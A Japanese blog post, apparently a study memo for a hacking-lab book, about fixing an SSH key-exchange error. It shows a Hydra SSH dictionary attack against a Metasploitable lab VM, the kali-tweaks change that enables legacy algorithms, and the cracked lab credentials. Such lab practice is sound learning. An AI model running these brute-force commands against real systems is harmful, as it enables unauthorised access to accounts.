1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

[ERROR] could not connect to ssh://x.x.x.x:22 - kex error : no match for method server host key algo

Last updated at Posted at 2023-10-29

はじめに

ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習 第2部ハッキングを体験する 第5章で記事タイトルにあるエラーが発生しました。
備忘録として原因、対応内容をメモします。

事象

Metasploitableに対して、Hydraを使って辞書式攻撃を仕掛け、SSHアカウントを解析しようとしました。(クライアントはKali Linux)
実行コマンドと発生したエラーは以下の通りです。

┌──(kali㉿kali)-[~]
└─$ hydra -L user.lst -P pass.lst -t 4 10.0.0.5 ssh -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-29 19:45:53
[DATA] max 4 tasks per 1 server, overall 4 tasks, 80 login tries (l:8/p:10), ~20 tries per task
[DATA] attacking ssh://10.0.0.5:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://root@10.0.0.5:22
[ERROR] could not connect to ssh://10.0.0.5:22 - kex error : no match for method server host key algo: server [ssh-rsa,ssh-dss], client [ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,sk-ssh-ed25519@openssh.com,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256]

原因

エラーメッセージno match for method server host key algoから、クライアント側とサーバ側で対応している暗号アルゴリズムが異なるためエラーになっているようです。
クライアント側はclient [ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,sk-ssh-ed25519@openssh.com,sk-ecdsa-sha2-nistp256@openssh.com,rsa-sha2-512,rsa-sha2-256]でした。
一方、サーバ側はserver [ssh-rsa,ssh-dss]とSHA1の古いアルゴリズムしか対応していません。

対処方法

  1. クライアント側が対応している鍵をサーバ側で作り直す
  2. クライアント側でSHA1鍵を使えるよう設定する

1番目は学習として想定していないため、2番目を採用します。
KaliのSSh設定について調べたところ以下の記事が見つかりました。

要約すると、Kaliの設定を変更するとSHA1などの古い暗号アルゴリズムを採用しているサーバに接続できるみたいです。
デフォルトではその設定が無効になっています。
設定はkali-tweaksというツールで変更できるので、今回はそれで試してみます。

まず、パッケージリストの最新化およびインストールを行います。

┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt full-upgrade -y
Hit:1 http://ftp.ne.jp/Linux/packages/kali/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
635 packages can be upgraded. Run 'apt list --upgradable' to see them.
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Calculating upgrade... Done
.
.
.

次に、kali-tweaksがインストールされたか確認します。

┌──(kali㉿kali)-[~]
└─$ dpkg -l | grep kali-tweaks 
ii  kali-tweaks                                    2023.3.2                              all          tool to adjust advanced configuration settings for Kali Linux

kali-tweaksを起動します。

kali-tweaks -h

以下GUI画面が表示されます。
Hardeningを選択してください。

スクリーンショット 2023-10-29 210640.png

SSH clientを選択し、Applyを選択してください。

スクリーンショット 2023-10-29 210709.png

OKを選択してください。

スクリーンショット 2023-10-29 210725.png

ターミナルに戻ります。
パスワードが求められるので入力してください。

スクリーンショット 2023-10-29 210740.png

そのままエンターキーを押してください。

スクリーンショット 2023-10-29 210756.png

Quitを選択し、ツールを終了させてください。

スクリーンショット 2023-10-29 210817.png

スクリーンショット 2023-10-29 210842.png

エラーになっていたHydraのコマンドを再度実行し、SSHエラーにならないことを確認します。

┌──(kali㉿kali)-[~]
└─$ hydra -L user.lst -P pass.lst -t 4 10.0.0.5 ssh -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-10-29 21:08:52
[DATA] max 4 tasks per 1 server, overall 4 tasks, 80 login tries (l:8/p:10), ~20 tries per task
[DATA] attacking ssh://10.0.0.5:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://root@10.0.0.5:22
[INFO] Successful, password authentication is supported by ssh://10.0.0.5:22
[22][ssh] host: 10.0.0.5   login: sys   password: batman
[22][ssh] host: 10.0.0.5   login: msfadmin   password: msfadmin
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 36 to do in 00:01h, 4 active
[22][ssh] host: 10.0.0.5   login: user   password: user
[STATUS] attack finished for 10.0.0.5 (waiting for children to complete tests)
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-10-29 21:10:52

参考

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?